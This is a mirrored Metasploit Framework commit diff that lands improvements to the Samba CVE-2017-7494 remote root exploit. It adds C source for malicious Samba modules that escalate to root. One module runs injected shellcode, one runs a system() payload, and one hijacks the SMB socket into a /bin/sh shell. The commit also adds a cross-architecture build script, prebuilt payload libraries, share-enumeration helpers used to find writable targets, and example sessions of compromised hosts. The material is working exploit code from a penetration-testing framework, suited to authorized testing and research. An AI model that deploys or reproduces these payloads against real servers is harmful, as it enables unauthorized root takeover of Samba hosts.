mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-05 14:57:30 +01:00
Land #8467, Samba CVE-2017-7494 Improvements
This commit is contained in:
commit
a01a2ead1a
@ -35,7 +35,7 @@ PATH
|
||||
rb-readline
|
||||
recog
|
||||
redcarpet
|
||||
rex-arch (= 0.1.4)
|
||||
rex-arch
|
||||
rex-bin_tools
|
||||
rex-core
|
||||
rex-encoder
|
||||
@ -264,7 +264,7 @@ GEM
|
||||
recog (2.1.8)
|
||||
nokogiri
|
||||
redcarpet (3.4.0)
|
||||
rex-arch (0.1.4)
|
||||
rex-arch (0.1.8)
|
||||
rex-text
|
||||
rex-bin_tools (0.1.3)
|
||||
metasm
|
||||
|
48
data/exploits/CVE-2017-7494/build.sh
Executable file
48
data/exploits/CVE-2017-7494/build.sh
Executable file
@ -0,0 +1,48 @@
|
||||
#!/bin/bash
|
||||
|
||||
build () {
|
||||
CC=$1
|
||||
TARGET_SUFFIX=$2
|
||||
CFLAGS=$3
|
||||
|
||||
echo "[*] Building for ${TARGET_SUFFIX}..."
|
||||
for type in {shellcode,system,findsock}
|
||||
do ${CC} ${CFLAGS} -Wall -Werror -fPIC -fno-stack-protector samba-root-${type}.c -shared -o samba-root-${type}-${TARGET_SUFFIX}.so
|
||||
done
|
||||
}
|
||||
|
||||
rm -f *.o *.so *.gz
|
||||
|
||||
#
|
||||
# Linux GLIBC
|
||||
#
|
||||
|
||||
# x86
|
||||
build "gcc" "linux-glibc-x86_64" "-m64 -D OLD_LIB_SET_2"
|
||||
build "gcc" "linux-glibc-x86" "-m32 -D OLD_LIB_SET_1"
|
||||
|
||||
# ARM
|
||||
build "arm-linux-gnueabi-gcc-5" "linux-glibc-armel" "-march=armv5 -mlittle-endian"
|
||||
build "arm-linux-gnueabihf-gcc-5" "linux-glibc-armhf" "-march=armv7 -mlittle-endian"
|
||||
build "aarch64-linux-gnu-gcc-4.9" "linux-glibc-aarch64" ""
|
||||
|
||||
# MIPS
|
||||
build "mips-linux-gnu-gcc-5" "linux-glibc-mips" "-D OLD_LIB_SET_1"
|
||||
build "mipsel-linux-gnu-gcc-5" "linux-glibc-mipsel" "-D OLD_LIB_SET_1"
|
||||
build "mips64-linux-gnuabi64-gcc-5" "linux-glibc-mips64" "-D OLD_LIB_SET_1"
|
||||
build "mips64el-linux-gnuabi64-gcc-5" "linux-glibc-mips64el" "-D OLD_LIB_SET_1"
|
||||
|
||||
# SPARC
|
||||
build "sparc64-linux-gnu-gcc-5" "linux-glibc-sparc64" ""
|
||||
build "sparc64-linux-gnu-gcc-5" "linux-glibc-sparc" "-m32 -D OLD_LIB_SET_1"
|
||||
|
||||
# PowerPC
|
||||
build "powerpc-linux-gnu-gcc-5" "linux-glibc-powerpc" "-D OLD_LIB_SET_1"
|
||||
build "powerpc64-linux-gnu-gcc-5" "linux-glibc-powerpc64" ""
|
||||
build "powerpc64le-linux-gnu-gcc-4.9" "linux-glibc-powerpc64le" ""
|
||||
|
||||
# S390X
|
||||
build "s390x-linux-gnu-gcc-5" "linux-glibc-s390x" ""
|
||||
|
||||
gzip -9 *.so
|
||||
rm -f *.o *.so
|
21
data/exploits/CVE-2017-7494/install-deps.sh
Executable file
21
data/exploits/CVE-2017-7494/install-deps.sh
Executable file
@ -0,0 +1,21 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Assume x86_64 Ubuntu 16.04 base system
|
||||
apt-get install build-essential \
|
||||
gcc-5-multilib \
|
||||
gcc-5-multilib-arm-linux-gnueabi \
|
||||
gcc-5-multilib-arm-linux-gnueabihf \
|
||||
gcc-5-multilib-mips-linux-gnu \
|
||||
gcc-5-multilib-mips64-linux-gnuabi64 \
|
||||
gcc-5-multilib-mips64el-linux-gnuabi64 \
|
||||
gcc-5-multilib-mipsel-linux-gnu \
|
||||
gcc-5-multilib-powerpc-linux-gnu \
|
||||
gcc-5-multilib-powerpc64-linux-gnu \
|
||||
gcc-5-multilib-s390x-linux-gnu \
|
||||
gcc-5-multilib-sparc64-linux-gnu \
|
||||
gcc-4.9-powerpc64le-linux-gnu \
|
||||
gcc-4.9-aarch64-linux-gnu
|
||||
|
||||
if [ ! -e /usr/include/asm ];
|
||||
then ln -sf /usr/include/asm-generic /usr/include/asm
|
||||
fi
|
BIN
data/exploits/CVE-2017-7494/samba-root-findsock-linux-glibc-aarch64.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-findsock-linux-glibc-aarch64.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-findsock-linux-glibc-armel.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-findsock-linux-glibc-armel.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-findsock-linux-glibc-armhf.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-findsock-linux-glibc-armhf.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-findsock-linux-glibc-mips.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-findsock-linux-glibc-mips.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-findsock-linux-glibc-mips64.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-findsock-linux-glibc-mips64.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-findsock-linux-glibc-mips64el.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-findsock-linux-glibc-mips64el.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-findsock-linux-glibc-mipsel.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-findsock-linux-glibc-mipsel.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-findsock-linux-glibc-powerpc.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-findsock-linux-glibc-powerpc.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-findsock-linux-glibc-powerpc64.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-findsock-linux-glibc-powerpc64.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-findsock-linux-glibc-powerpc64le.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-findsock-linux-glibc-powerpc64le.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-findsock-linux-glibc-s390x.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-findsock-linux-glibc-s390x.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-findsock-linux-glibc-sparc.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-findsock-linux-glibc-sparc.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-findsock-linux-glibc-sparc64.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-findsock-linux-glibc-sparc64.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-findsock-linux-glibc-x86.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-findsock-linux-glibc-x86.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-findsock-linux-glibc-x86_64.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-findsock-linux-glibc-x86_64.so.gz
Executable file
Binary file not shown.
67
data/exploits/CVE-2017-7494/samba-root-findsock.c
Normal file
67
data/exploits/CVE-2017-7494/samba-root-findsock.c
Normal file
@ -0,0 +1,67 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <signal.h>
|
||||
#include <string.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver execve,execve@GLIBC_2.0");
|
||||
__asm__(".symver dup2,dup2@GLIBC_2.0");
|
||||
__asm__(".symver getsockname,getsockname@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver execve,execve@GLIBC_2.2.5");
|
||||
__asm__(".symver dup2,dup2@GLIBC_2.2.5");
|
||||
__asm__(".symver getsockname,getsockname@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
extern bool change_to_root_user(void);
|
||||
|
||||
// Samba 4 looks for samba_init_module
|
||||
int samba_init_module(void)
|
||||
{
|
||||
char *args[2] = {"/bin/sh", 0};
|
||||
struct sockaddr_in sa;
|
||||
socklen_t sl = sizeof(sa);
|
||||
int s;
|
||||
unsigned char buff[] = {
|
||||
0x00, 0x00, 0x00, 0x23, 0xff, 0x53, 0x4d, 0x42,
|
||||
0xa2, 0x39, 0x00, 0x00, 0xc0, 0x88, 0x03, 0xc8,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x64, 0x7e,
|
||||
0x64, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x00
|
||||
};
|
||||
|
||||
change_to_root_user();
|
||||
|
||||
for (s=4096; s>0; s--) {
|
||||
|
||||
// Skip over invalid sockets
|
||||
if (getsockname(s, (struct sockaddr *)&sa, &sl) != 0)
|
||||
continue;
|
||||
|
||||
// Skip over non internet sockets
|
||||
if (sa.sin_family != AF_INET)
|
||||
continue;
|
||||
|
||||
// Send a semi-valid SMB response to simplify things
|
||||
send(s, buff, sizeof(buff), 0);
|
||||
|
||||
// Duplicate standard input/output/error
|
||||
dup2(s, 0);
|
||||
dup2(s, 1);
|
||||
dup2(s, 2);
|
||||
|
||||
execve(args[0], args, NULL);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Samba 3 looks for init_samba_module
|
||||
int init_samba_module(void) { return samba_init_module(); }
|
BIN
data/exploits/CVE-2017-7494/samba-root-shellcode-linux-glibc-aarch64.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-shellcode-linux-glibc-aarch64.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-shellcode-linux-glibc-armel.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-shellcode-linux-glibc-armel.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-shellcode-linux-glibc-armhf.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-shellcode-linux-glibc-armhf.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-shellcode-linux-glibc-mips.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-shellcode-linux-glibc-mips.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-shellcode-linux-glibc-mips64.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-shellcode-linux-glibc-mips64.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-shellcode-linux-glibc-mips64el.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-shellcode-linux-glibc-mips64el.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-shellcode-linux-glibc-mipsel.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-shellcode-linux-glibc-mipsel.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-shellcode-linux-glibc-powerpc.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-shellcode-linux-glibc-powerpc.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-shellcode-linux-glibc-powerpc64.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-shellcode-linux-glibc-powerpc64.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-shellcode-linux-glibc-powerpc64le.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-shellcode-linux-glibc-powerpc64le.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-shellcode-linux-glibc-s390x.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-shellcode-linux-glibc-s390x.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-shellcode-linux-glibc-sparc.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-shellcode-linux-glibc-sparc.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-shellcode-linux-glibc-sparc64.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-shellcode-linux-glibc-sparc64.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-shellcode-linux-glibc-x86.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-shellcode-linux-glibc-x86.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-shellcode-linux-glibc-x86_64.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-shellcode-linux-glibc-x86_64.so.gz
Executable file
Binary file not shown.
47
data/exploits/CVE-2017-7494/samba-root-shellcode.c
Normal file
47
data/exploits/CVE-2017-7494/samba-root-shellcode.c
Normal file
@ -0,0 +1,47 @@
|
||||
#include <stdio.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
#include <signal.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver mmap,mmap@GLIBC_2.0");
|
||||
__asm__(".symver memcpy,memcpy@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver mmap,mmap@GLIBC_2.2.5");
|
||||
__asm__(".symver memcpy,memcpy@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
#define PAYLOAD_SIZE 10000
|
||||
unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0};
|
||||
|
||||
extern bool change_to_root_user(void);
|
||||
|
||||
// Samba 4 looks for samba_init_module
|
||||
int samba_init_module(void)
|
||||
{
|
||||
void *mem;
|
||||
void (*fn)();
|
||||
|
||||
change_to_root_user();
|
||||
mem = mmap(NULL, PAYLOAD_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
|
||||
if (mem == MAP_FAILED)
|
||||
return 0;
|
||||
|
||||
memcpy(mem, payload, PAYLOAD_SIZE);
|
||||
fn = (void(*)())mem;
|
||||
|
||||
if (! fork()) {
|
||||
fn();
|
||||
kill(getpid(), 9);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Samba 3 looks for init_samba_module
|
||||
int init_samba_module(void) { return samba_init_module(); }
|
BIN
data/exploits/CVE-2017-7494/samba-root-system-linux-glibc-aarch64.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-system-linux-glibc-aarch64.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-system-linux-glibc-armel.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-system-linux-glibc-armel.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-system-linux-glibc-armhf.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-system-linux-glibc-armhf.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-system-linux-glibc-mips.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-system-linux-glibc-mips.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-system-linux-glibc-mips64.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-system-linux-glibc-mips64.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-system-linux-glibc-mips64el.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-system-linux-glibc-mips64el.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-system-linux-glibc-mipsel.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-system-linux-glibc-mipsel.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-system-linux-glibc-powerpc.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-system-linux-glibc-powerpc.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-system-linux-glibc-powerpc64.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-system-linux-glibc-powerpc64.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-system-linux-glibc-powerpc64le.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-system-linux-glibc-powerpc64le.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-system-linux-glibc-s390x.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-system-linux-glibc-s390x.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-system-linux-glibc-sparc.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-system-linux-glibc-sparc.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-system-linux-glibc-sparc64.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-system-linux-glibc-sparc64.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-system-linux-glibc-x86.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-system-linux-glibc-x86.so.gz
Executable file
Binary file not shown.
BIN
data/exploits/CVE-2017-7494/samba-root-system-linux-glibc-x86_64.so.gz
Executable file
BIN
data/exploits/CVE-2017-7494/samba-root-system-linux-glibc-x86_64.so.gz
Executable file
Binary file not shown.
34
data/exploits/CVE-2017-7494/samba-root-system.c
Normal file
34
data/exploits/CVE-2017-7494/samba-root-system.c
Normal file
@ -0,0 +1,34 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver system,system@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver system,system@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
#define PAYLOAD_SIZE 10000
|
||||
unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0};
|
||||
|
||||
extern bool change_to_root_user(void);
|
||||
|
||||
// Samba 4 looks for samba_init_module
|
||||
int samba_init_module(void)
|
||||
{
|
||||
change_to_root_user();
|
||||
if (! fork()) {
|
||||
system((const char*)payload);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Samba 3 looks for init_samba_module
|
||||
int init_samba_module(void) { return samba_init_module(); }
|
@ -59,12 +59,12 @@ echo -ne "type=AVC msg=audit(1495745298.086:334): avc: denied { execstack } fo
|
||||
## Options
|
||||
|
||||
**SMB_SHARE_NAME**
|
||||
|
||||
|
||||
The name of the SMB share containing a writeable directory. Shares are automatically scanned for, and if this
|
||||
variable is non-blank, it will be preferred.
|
||||
|
||||
**SMB_SHARE_BASE**
|
||||
|
||||
|
||||
The remote filesystem path correlating with the SMB share name. This value is preferred, but other values are
|
||||
brute forced including:
|
||||
|
||||
@ -80,7 +80,7 @@ echo -ne "type=AVC msg=audit(1495745298.086:334): avc: denied { execstack } fo
|
||||
10. /tmp/home/home/shared
|
||||
|
||||
**SMB_FOLDER**
|
||||
|
||||
|
||||
The directory to use within the writeable SMB share. Writable directories are automatically scanned for, and if this
|
||||
variable is non-blank, it will be preferred.
|
||||
|
||||
@ -91,7 +91,7 @@ echo -ne "type=AVC msg=audit(1495745298.086:334): avc: denied { execstack } fo
|
||||
```
|
||||
msf exploit(is_known_pipename) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 1.2.3.117:4444
|
||||
[*] Started reverse TCP handler on 1.2.3.117:4444
|
||||
[*] 1.2.3.119:445 - Using location \\1.2.3.119\ESX\ for the path
|
||||
[*] 1.2.3.119:445 - Payload is stored in //1.2.3.119/ESX/ as eePUbtdw.so
|
||||
[*] 1.2.3.119:445 - Trying location /volume1/eePUbtdw.so...
|
||||
@ -108,9 +108,9 @@ Linux synologyNAS 3.10.102 #15101 SMP Fri May 5 12:01:38 CST 2017 x86_64 GNU/Lin
|
||||
### Ubuntu 16.04
|
||||
|
||||
```
|
||||
msf exploit(is_known_pipename) > exploit
|
||||
msf exploit(is_known_pipename) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.0.3:4444
|
||||
[*] Started reverse TCP handler on 192.168.0.3:4444
|
||||
[*] 192.168.0.3:445 - Using location \\192.168.0.3\yarp\h for the path
|
||||
[*] 192.168.0.3:445 - Payload is stored in //192.168.0.3/yarp/h as GTithXJz.so
|
||||
[*] 192.168.0.3:445 - Trying location /tmp/yarp/h/GTithXJz.so...
|
||||
|
@ -638,6 +638,201 @@ module Msf
|
||||
lang
|
||||
end
|
||||
|
||||
# Map an integer share type to a human friendly descriptor
|
||||
def smb_lookup_share_type(val)
|
||||
[ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val]
|
||||
end
|
||||
|
||||
# Retrieve detailed information about a specific share using any available method
|
||||
def smb_netsharegetinfo(share)
|
||||
smb_srvsvc_netsharegetinfo(share)
|
||||
end
|
||||
|
||||
# Retrieve detailed share dinformation via the NetShareGetInfo function in the Server Service
|
||||
def smb_srvsvc_netsharegetinfo(share)
|
||||
shares = []
|
||||
simple.connect("\\\\#{rhost}\\IPC$")
|
||||
handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"])
|
||||
begin
|
||||
dcerpc_bind(handle)
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
vprint_error(e.message)
|
||||
return []
|
||||
end
|
||||
|
||||
stubdata =
|
||||
NDR.uwstring("\\\\#{rhost}") +
|
||||
NDR.wstring(share) +
|
||||
NDR.long(2)
|
||||
|
||||
response = dcerpc.call(0x10, stubdata)
|
||||
|
||||
if ! response
|
||||
raise RuntimeError, "Invalid DCERPC response: <empty>"
|
||||
end
|
||||
|
||||
head = response.slice!(0, 40)
|
||||
if head.length != 40
|
||||
raise RuntimeError, "Invalid DCERPC response: not enough data"
|
||||
end
|
||||
|
||||
share_info = {
|
||||
share_type: head[12, 4].unpack('V').first,
|
||||
permissions: head[20, 4].unpack('V').first,
|
||||
max_users: head[24, 4].unpack('V').first,
|
||||
}
|
||||
|
||||
idx = 0
|
||||
|
||||
[:share, :comment, :path, :password].each do |field|
|
||||
field_info = response[idx, 12].unpack("V*")
|
||||
break if field_info.length == 0
|
||||
idx += 12
|
||||
|
||||
field_text = response[idx, field_info.first * 2]
|
||||
share_info[ field ] = field_text.gsub("\x00", '')
|
||||
idx += (field_info.first * 2)
|
||||
idx += (idx % 4)
|
||||
end
|
||||
|
||||
share_info
|
||||
end
|
||||
|
||||
# Retreive a list of all shares using any available method
|
||||
def smb_netshareenumall
|
||||
begin
|
||||
return smb_srvsvc_netshareenumall
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
vprint_error("Warning: NetShareEnumAll failed via Server Service, falling back to LANMAN: #{e}")
|
||||
fail_with(Failure::NoTarget, "No matching target")
|
||||
return smb_lanman_netshareenumall
|
||||
end
|
||||
end
|
||||
|
||||
# Retrieve a list of shares via the NetShareEnumAll function in the Server Service
|
||||
def smb_srvsvc_netshareenumall
|
||||
shares = []
|
||||
simple.connect("\\\\#{rhost}\\IPC$")
|
||||
handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"])
|
||||
begin
|
||||
dcerpc_bind(handle)
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
vprint_error(e.message)
|
||||
return []
|
||||
end
|
||||
|
||||
stubdata =
|
||||
NDR.uwstring("\\\\#{rhost}") +
|
||||
NDR.long(1) #level
|
||||
|
||||
ref_id = stubdata[0,4].unpack("V")[0]
|
||||
ctr = [1, ref_id + 4 , 0, 0].pack("VVVV")
|
||||
|
||||
stubdata << ctr
|
||||
stubdata << NDR.align(ctr)
|
||||
stubdata << ["FFFFFFFF"].pack("H*")
|
||||
stubdata << [ref_id + 8, 0].pack("VV")
|
||||
response = dcerpc.call(0x0f, stubdata)
|
||||
res = response.dup
|
||||
win_error = res.slice!(-4, 4).unpack("V")[0]
|
||||
|
||||
if win_error != 0
|
||||
raise RuntimeError, "Invalid DCERPC response: win_error = #{win_error}"
|
||||
end
|
||||
|
||||
# Remove unused data
|
||||
res.slice!(0,12) # level, CTR header, Reference ID of CTR
|
||||
share_count = res.slice!(0, 4).unpack("V")[0]
|
||||
res.slice!(0,4) # Reference ID of CTR1
|
||||
share_max_count = res.slice!(0, 4).unpack("V")[0]
|
||||
|
||||
if share_max_count != share_count
|
||||
raise RuntimeError, "Invalid DCERPC response: count != count max (#{share_count}/#{share_max_count})"
|
||||
end
|
||||
|
||||
# ReferenceID / Type / ReferenceID of Comment
|
||||
types = res.slice!(0, share_count * 12).scan(/.{12}/n).map{|a| a[4,2].unpack("v")[0]}
|
||||
|
||||
share_count.times do |t|
|
||||
length, offset, max_length = res.slice!(0, 12).unpack("VVV")
|
||||
if offset != 0
|
||||
raise RuntimeError, "Invalid DCERPC response: offset != 0 (#{offset})"
|
||||
end
|
||||
|
||||
if length != max_length
|
||||
raise RuntimeError, "Invalid DCERPC response: length !=max_length (#{length}/#{max_length})"
|
||||
end
|
||||
name = res.slice!(0, 2 * length).gsub('\x00','')
|
||||
res.slice!(0,2) if length % 2 == 1 # pad
|
||||
|
||||
comment_length, comment_offset, comment_max_length = res.slice!(0, 12).unpack("VVV")
|
||||
|
||||
if comment_offset != 0
|
||||
raise RuntimeError, "Invalid DCERPC response: comment_offset != 0 (#{comment_offset})"
|
||||
end
|
||||
|
||||
if comment_length != comment_max_length
|
||||
raise RuntimeError, "Invalid DCERPC response: comment_length != comment_max_length (#{comment_length}/#{comment_max_length})"
|
||||
end
|
||||
|
||||
comment = res.slice!(0, 2 * comment_length)
|
||||
|
||||
res.slice!(0,2) if comment_length % 2 == 1 # pad
|
||||
|
||||
name = Rex::Text.to_ascii(name).gsub("\x00", "")
|
||||
s_type = Rex::Text.to_ascii(smb_lookup_share_type(types[t])).gsub("\x00", "")
|
||||
comment = Rex::Text.to_ascii(comment).gsub("\x00", "")
|
||||
|
||||
shares << [ name, s_type, comment ]
|
||||
end
|
||||
|
||||
shares
|
||||
end
|
||||
|
||||
# Retrieve a list of shares via the NetShareEnumAll function in the LANMAN service
|
||||
# This method can only return shares with names 12 bytes or less
|
||||
def smb_lanman_netshareenumall
|
||||
shares = []
|
||||
begin
|
||||
res = self.simple.client.trans(
|
||||
"\\PIPE\\LANMAN",
|
||||
(
|
||||
[0x00].pack('v') +
|
||||
"WrLeh\x00" +
|
||||
"B13BWz\x00" +
|
||||
[0x01, 65406].pack("vv")
|
||||
))
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
vprint_error("Could not enumerate shares via LANMAN")
|
||||
return []
|
||||
end
|
||||
if res.nil?
|
||||
vprint_error("Could not enumerate shares via LANMAN")
|
||||
return []
|
||||
end
|
||||
|
||||
lerror, lconv, lentries, lcount = res['Payload'].to_s[
|
||||
res['Payload'].v['ParamOffset'],
|
||||
res['Payload'].v['ParamCount']
|
||||
].unpack("v4")
|
||||
|
||||
data = res['Payload'].to_s[
|
||||
res['Payload'].v['DataOffset'],
|
||||
res['Payload'].v['DataCount']
|
||||
]
|
||||
|
||||
0.upto(lentries - 1) do |i|
|
||||
sname,tmp = data[(i * 20) + 0, 14].split("\x00")
|
||||
stype = data[(i * 20) + 14, 2].unpack('v')[0]
|
||||
scoff = data[(i * 20) + 16, 2].unpack('v')[0]
|
||||
scoff -= lconv if lconv != 0
|
||||
scomm,tmp = data[scoff, data.length - scoff].split("\x00")
|
||||
shares << [ sname, smb_lookup_share_type(stype), scomm]
|
||||
end
|
||||
|
||||
shares
|
||||
end
|
||||
|
||||
# @return [Rex::Proto::SMB::SimpleClient]
|
||||
attr_accessor :simple
|
||||
end
|
||||
|
@ -139,8 +139,12 @@ attr_accessor :socket, :client, :direct, :shares, :last_share
|
||||
end
|
||||
|
||||
def disconnect(share)
|
||||
ok = self.client.tree_disconnect(self.shares[share])
|
||||
self.shares.delete(share)
|
||||
if self.shares[share]
|
||||
ok = self.client.tree_disconnect(self.shares[share])
|
||||
self.shares.delete(share)
|
||||
return ok
|
||||
end
|
||||
false
|
||||
end
|
||||
|
||||
|
||||
|
@ -136,7 +136,7 @@ Gem::Specification.new do |spec|
|
||||
